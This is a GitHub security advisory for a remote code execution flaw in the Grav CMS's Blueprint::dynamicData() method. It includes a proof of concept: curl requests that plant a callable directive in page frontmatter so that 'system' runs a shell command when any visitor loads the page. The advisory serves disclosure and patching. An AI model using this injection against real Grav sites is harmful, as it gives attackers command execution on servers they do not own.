GitHub Advisoryadvisory · Packagist
GHSA-fj2p-qj2f-74v5 Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
HIGH
Official page ↗
- Aliases
- CVE-2026-64850
- Ecosystem
- Packagist
- Packages
- getgrav/grav
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-94
- Reviewed
- 2026-09-02
Affected packages
• Packagist getgrav/grav: < 2.0.7 → fixed in 2.0.7
Description
Summary
An account with the `admin.pages` permission (or `api.pages.write`) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
Details
`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes
a `Class::method` string and its arguments straight to `call_user_func_array()`
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
`Grav\Common\Utils::arrayFilterRecursive($source,$fn)`
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key
runs the command.
PoC
Placeholders: `` the site; `` an admin session cookie
for an account with `admin.pages`; `` the `admin-nonce` on any admin
page (`window.GravAdmin.config.admin_nonce`).
Save a "form" page whose field carries the callable directive:
curl '/admin/pages/rcepoc' \
-H 'Cookie: ' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
• 'Grav\Common\Utils::arrayFilterRecursive'
• { 'echo GRAV-RCE-OK; id': 'x' }
• system"
Trigger it as an unauthenticated visitor:
curl '/rcepoc'
Success check: the GET response body begins with `GRAV-RCE-OK` followed by the
web-server user's `id` output (a line starting `uid=...`) — the command ran
during the unauthenticated request and its output is reflected in the response.
Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of `admin.pages` or `api.pages.write`.
Trust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
Related
Alias · CVE (1)
- CVE-2026-64850 Grav is a file-based Web platform. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-64850 advisory
- https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c web
- https://github.com/getgrav/grav package
- https://github.com/getgrav/grav/releases/tag/2.0.7 web